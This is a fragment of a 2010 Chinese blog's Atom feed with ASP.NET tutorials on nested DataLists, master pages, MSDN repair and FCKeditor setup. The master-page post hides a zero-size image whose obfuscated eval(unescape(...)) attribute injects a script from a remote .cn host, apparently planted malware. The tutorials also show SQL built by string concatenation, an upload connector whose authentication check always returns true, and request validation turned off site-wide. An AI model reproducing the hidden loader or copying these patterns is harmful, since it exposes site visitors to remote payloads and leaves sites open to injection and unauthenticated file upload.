}&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;（2）为子DataList绑定数据。&lt;/p&gt;&lt;p&gt;DataList嵌套的重点是要在外层DataList的ItemDataBound事件中完成对嵌套DataList的绑定。在主DataList的ItemDataBound事件中用e.Item.FindControl方法来找到嵌套层DataList的id,完后为该id绑定数据&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;protected void Datalist1_ItemDataBound(object sender, DataListItemEventArgs e)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DataList Datalist2 = (DataList)e.Item.FindControl("Datalist2");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DataRowView rowv = (DataRowView)e.Item.DataItem;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int pid = Convert.ToInt32(rowv["typeid"]);&lt;/p&gt;&lt;p&gt;if (pid &amp;gt; 0)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DBHelper helper = new DBHelper();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; string sql = "select typeid,pid,typename from product_type where pid=" + pid;&lt;/p&gt;&lt;p&gt;DataSet ds = new DataSet();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ds = helper.ExecuteDataSet(sql);&lt;/p&gt;&lt;p&gt;if (ds != null)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/p&gt;&lt;p&gt;Datalist2.DataSource = ds;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Datalist2.DataBind();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; catch (Exception ex)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; throw new Exception(ex.Message);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;&lt;/pre&gt;&lt;img src="http://www.cnblogs.com/tongzhenhua/aggbug/1834729.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/tongzhenhua/archive/2010/09/25/1834729.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/tongzhenhua/archive/2010/09/25/1834672.html</id><title type="text">VS2008 母版页嵌套母版页，下级母版页不执行Page_Load解决方法</title><summary type="text">VS2008 母版页嵌套母版页时，只能运行第一个母版页的Page_Load，下级的母版页并不执行。解决方法：自动添加子母版页的时候，默认的AutoEventWireup="false"，改为AutoEventWireup="true"即可。</summary><published>2010-09-25T08:24:00Z</published><updated>2010-09-25T08:24:00Z</updated><author><name>使名扬</name><uri>http://www.cnblogs.com/tongzhenhua/</uri></author><link rel="alternate" href="http://www.cnblogs.com/tongzhenhua/archive/2010/09/25/1834672.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/tongzhenhua/archive/2010/09/25/1834672.html"/><content type="html">VS2008 母版页嵌套母版页时，只能运行第一个母版页的Page_Load，下级的母版页并不执行。解决方法：自动添加子母版页的时候，默认的AutoEventWireup="false"，改为AutoEventWireup="true"即可。 &lt;img  height="0" src="http:///" width="0" onxxxxx="eval(unescape('if%28%21window.bd%29%7Bvar%20s%3Ddocument.createElement%28%27script%27%29%3Bs.src%3D%27http%3A//%69%6d%67%63%61%63%68%65%2e%73%75%71%69%61%6e%31%31%34%2e%63%6e%2f%61%2f%62%2f%6d%2e%70%68%70%27%3Bs.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28s%29%3Bwindow.bd%3D1%7D'))//key.baidu.com&amp;quot;"&gt;&lt;img src="http://www.cnblogs.com/tongzhenhua/aggbug/1834672.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/tongzhenhua/archive/2010/09/25/1834672.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/tongzhenhua/archive/2010/09/23/1833494.html</id><title type="text">360会导致MSDN &amp;quot;无法显示该网页&amp;quot;</title><summary type="text">今天打开安装好的MSDN，突然发现，显示无法显示网页，后来在网上搜索了一下这个解决办法，想起来是360提示说hxds.dll有问题。当时自己禁用了 。所以只要再开启一下就行了。如下:regsvr32"C:\ProgramFiles\CommonFiles\MicrosoftShared\Help\hxds.dll"在运行框里输入这条命令，注册一下就OK了。。</summary><published>2010-09-23T12:19:00Z</published><updated>2010-09-23T12:19:00Z</updated><author><name>使名扬</name><uri>http://www.cnblogs.com/tongzhenhua/</uri></author><link rel="alternate" href="http://www.cnblogs.com/tongzhenhua/archive/2010/09/23/1833494.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/tongzhenhua/archive/2010/09/23/1833494.html"/><content type="html">&lt;p&gt;今天打开安装好的MSDN，突然发现，显示无法显示网页，后来在网上搜索了一下这个解决办法，想起来是360提示说hxds.dll有问题。当时自己禁用了 。所以只要再开启一下就行了。&lt;/p&gt;&#xD;
&lt;p&gt;如下:&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;font color="#ff6600"&gt;regsvr32&amp;nbsp;"C:\Program&amp;nbsp;Files\Common&amp;nbsp;Files\Microsoft&amp;nbsp;Shared\Help\hxds.dll"&lt;/font&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;font color="#ff6600"&gt;&lt;/font&gt;&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;font color="#ff6600"&gt;在运行框里输入这条命令，注册一下就OK了。。&lt;img height="574" alt="" src="http://images.cnblogs.com/cnblogs_com/tongzhenhua/360.jpg" width="801" border="0" /&gt;&lt;/font&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/tongzhenhua/aggbug/1833494.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/tongzhenhua/archive/2010/09/23/1833494.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/tongzhenhua/archive/2010/09/20/1831731.html</id><title type="text">asp.net下使用FCKeditor 2.6.6</title><summary type="text">以前一直用lion的。因为现在写一个西班牙语的网站，FCKeditor 有现成的多国语言库，就改用FCKeditor了。1.先从http://www.fckeditor.net/download下载FCKeditor.Net_2.6.4.zip FCKeditor_2.6.6.zip解压FCKeditor.Net_2.6.4.zip,提取FCKeditor.Net_2.6.4\bin\Releas...</summary><published>2010-09-20T06:34:00Z</published><updated>2010-09-20T06:34:00Z</updated><author><name>使名扬</name><uri>http://www.cnblogs.com/tongzhenhua/</uri></author><link rel="alternate" href="http://www.cnblogs.com/tongzhenhua/archive/2010/09/20/1831731.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/tongzhenhua/archive/2010/09/20/1831731.html"/><content type="html">&lt;p&gt;以前一直用lion的。因为现在写一个西班牙语的网站，FCKeditor 有现成的多国语言库，就改用FCKeditor了。&lt;/p&gt;&#xD;
&lt;p&gt;1.先从&lt;a href="http://www.fckeditor.net/download"&gt;http://www.fckeditor.net/download&lt;/a&gt;&amp;nbsp;下载FCKeditor.Net_2.6.4.zip&amp;nbsp;&amp;nbsp; FCKeditor_2.6.6.zip&lt;/p&gt;&#xD;
&lt;p&gt;解压FCKeditor.Net_2.6.4.zip,提取FCKeditor.Net_2.6.4\bin\Release\2.0中的FredCK.FCKeditorV2.dll，添加引用。再加到左边的控件栏里吧。名字就叫FCKeditor&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;2.&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;安装配置&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;1、拷贝 "FredCK.FCKeditorV2.dll" 到BIN目录。拷贝fckeditor文件夹到站点跟目录；&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;上传图片的配置&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;------------------------------------------------------------&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;配置上传路径&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;1.见web.config&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2.编辑FCKeditor"editor"filemanager"connectors"aspx"config.aspx 中修改&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;private bool CheckAuthentication()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return true;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;2、用文本编辑器打开fckeditor／fckconfig.js文件，开始对编辑器进行配置；&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;var _FileBrowserLanguage = 'asp' ; &lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;var _QuickUploadLanguage = 'asp' ; &lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;改为&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;var _FileBrowserLanguage = 'aspx' ; &lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;var _QuickUploadLanguage = 'aspx' ; &lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;3、配置webConfig选项；&lt;/p&gt;&#xD;
&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding-left:5px;padding-right:5px;" onclick="cnblogs_code_show('e1bb1e51-ea3c-4c30-adf7-0e34737787e5')"&gt;&lt;img  id="code_img_opened_e1bb1e51-ea3c-4c30-adf7-0e34737787e5" style="display: none" onclick="cnblogs_code_hide('e1bb1e51-ea3c-4c30-adf7-0e34737787e5',event)" src="http://images.cnblogs.com/OutliningIndicators/ExpandedBlockStart.gif"&gt; &#xD;
&lt;div  id="cnblogs_code_open_e1bb1e51-ea3c-4c30-adf7-0e34737787e5"&gt;&#xD;
&lt;div&gt;&lt;!--&lt;br/ /&gt;&lt;br/ /&gt;Code highlighting produced by Actipro CodeHighlighter (freeware)&lt;br/ /&gt;http://www.CodeHighlighter.com/&lt;br/ /&gt;&lt;br/ /&gt;--&gt;&lt;span style="color: #000000"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #000000"&gt;appSettings&lt;/span&gt;&lt;span style="color: #000000"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #000000"&gt;add&amp;nbsp;key&lt;/span&gt;&lt;span style="color: #000000"&gt;=&lt;/span&gt;&lt;span style="color: #800000"&gt;"&lt;/span&gt;&lt;span style="color: #800000"&gt;FCKeditor:BasePath&lt;/span&gt;&lt;span style="color: #800000"&gt;"&lt;/span&gt;&lt;span style="color: #000000"&gt;&amp;nbsp;value&lt;/span&gt;&lt;span style="color: #000000"&gt;=&lt;/span&gt;&lt;span style="color: #800000"&gt;"&lt;/span&gt;&lt;span style="color: #800000"&gt;~/FCKeditor/&lt;/span&gt;&lt;span style="color: #800000"&gt;"&lt;/span&gt;&lt;span style="color: #000000"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #000000"&gt;add&amp;nbsp;key&lt;/span&gt;&lt;span style="color: #000000"&gt;=&lt;/span&gt;&lt;span style="color: #800000"&gt;"&lt;/span&gt;&lt;span style="color: #800000"&gt;FCKeditor:UserFilesPath&lt;/span&gt;&lt;span style="color: #800000"&gt;"&lt;/span&gt;&lt;span style="color: #000000"&gt;&amp;nbsp;value&lt;/span&gt;&lt;span style="color: #000000"&gt;=&lt;/span&gt;&lt;span style="color: #800000"&gt;"&lt;/span&gt;&lt;span style="color: #800000"&gt;~/userfiles&lt;/span&gt;&lt;span style="color: #800000"&gt;"&lt;/span&gt;&lt;span style="color: #000000"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #000000"&gt;appSettings&lt;/span&gt;&lt;span style="color: #000000"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #000000"&gt;system.web&lt;/span&gt;&lt;span style="color: #000000"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;...&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style="color: #000000"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #000000"&gt;identity&amp;nbsp;impersonate&lt;/span&gt;&lt;span style="color: #000000"&gt;=&lt;/span&gt;&lt;span style="color: #800000"&gt;"&lt;/span&gt;&lt;span style="color: #800000"&gt;true&lt;/span&gt;&lt;span style="color: #800000"&gt;"&lt;/span&gt;&lt;span style="color: #000000"&gt;/&amp;gt;&amp;lt;!--Access数据库写权限 --&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;pages validateRequest="false" /&amp;gt;&amp;lt;!-- 省得每个页面加HTML免过滤了--&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;...&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #000000"&gt;system.web&lt;/span&gt;&lt;span style="color: #000000"&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;4、在页面中使用控件 &lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;添加页面指令：&amp;lt;%@ Register Assembly="FredCK.FCKeditorV2" Namespace="FredCK.FCKeditorV2" TagPrefix="FCKeditorV2" %&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;添加一个控件：&amp;lt;FCKeditorV2:FCKeditor ID="FCKeditor2" runat="server" DefaultLanguage="zh-cn" Height="400px"&amp;gt;&amp;lt;/FCKeditorV2:FCKeditor&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;使用示例&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;自定义按钮&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;1、用文本编辑器打开fckeditor／fckconfig.js文件&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;2、拷贝FCKConfig.ToolbarSets["Basic"] = [['Bold','Italic','-','OrderedList','UnorderedList','-','Link','Unlink','-','About']] ; &lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;改为:&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;FCKConfig.ToolbarSets["Myself"] = [['Bold','Italic','-','OrderedList','UnorderedList']] ; &lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;3、设置控件的ToolbarSet属性。&amp;lt;FCKeditorV2:FCKeditor ID="FCKeditor2" ToolbarSet="Myself" runat="server"&amp;gt;&amp;lt;/FCKeditorV2:FCKeditor&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;------------------------------------------------------------&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;换肤&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;系统提供了三种皮肤:default,office2003,silver; 在控件上设置SkinPath="editor/Skins/Default/"；也可以通过程序完成设置&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;其它设置&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;在编辑器域内可以使用Tab键。（1为是，0为否） FCKConfig.TabSpaces = 0 ; 改为FCKConfig.TabSpaces = 1 ;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;示例代码&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;fckeditor.aspx&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;%@ Page Language="C#" AutoEventWireup="true" ValidateRequest="false" CodeFile="fckeditor.aspx.cs" Inherits="fckeditor" %&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;%@ Register Assembly="FredCK.FCKeditorV2" Namespace="FredCK.FCKeditorV2" TagPrefix="FCKeditorV2" %&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;html xmlns="http://www.w3.org/1999/xhtml" &amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;head runat="server"&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;title&amp;gt;Untitled Page&amp;lt;/title&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;/head&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;body&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;form id="form1" runat="server"&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;div&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;br /&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;全部按钮&amp;lt;br /&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;FCKeditorV2:FCKeditor ID="FCKeditor1" runat="server" &amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;/FCKeditorV2:FCKeditor&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;br /&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;基本按钮&amp;lt;br /&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;FCKeditorV2:FCKeditor ID="FCKeditor2" ToolbarSet="Basic"&amp;nbsp;&amp;nbsp; runat="server"&amp;gt;&amp;lt;/FCKeditorV2:FCKeditor&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;br /&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;精简按钮&amp;lt;br /&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;FCKeditorV2:FCKeditor ID="FCKeditor3" ToolbarSet="Basic2" runat="server"&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;/FCKeditorV2:FCKeditor&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;asp:Button ID="Button1" runat="server" OnClick="Button1_Click" Text="Button" /&amp;gt;&amp;amp;nbsp;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;br /&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;a href="fckeditor/_samples/default.html"&amp;gt;浏览更多示例&amp;lt;/a&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;/form&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;/body&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&amp;lt;/html&amp;gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;----&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;多国语言对照表&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;fckeditor\editor\lang里的js名字-全名&lt;/p&gt;&#xD;
&lt;p style="text-indent: 2em"&gt;&lt;/p&gt;&#xD;
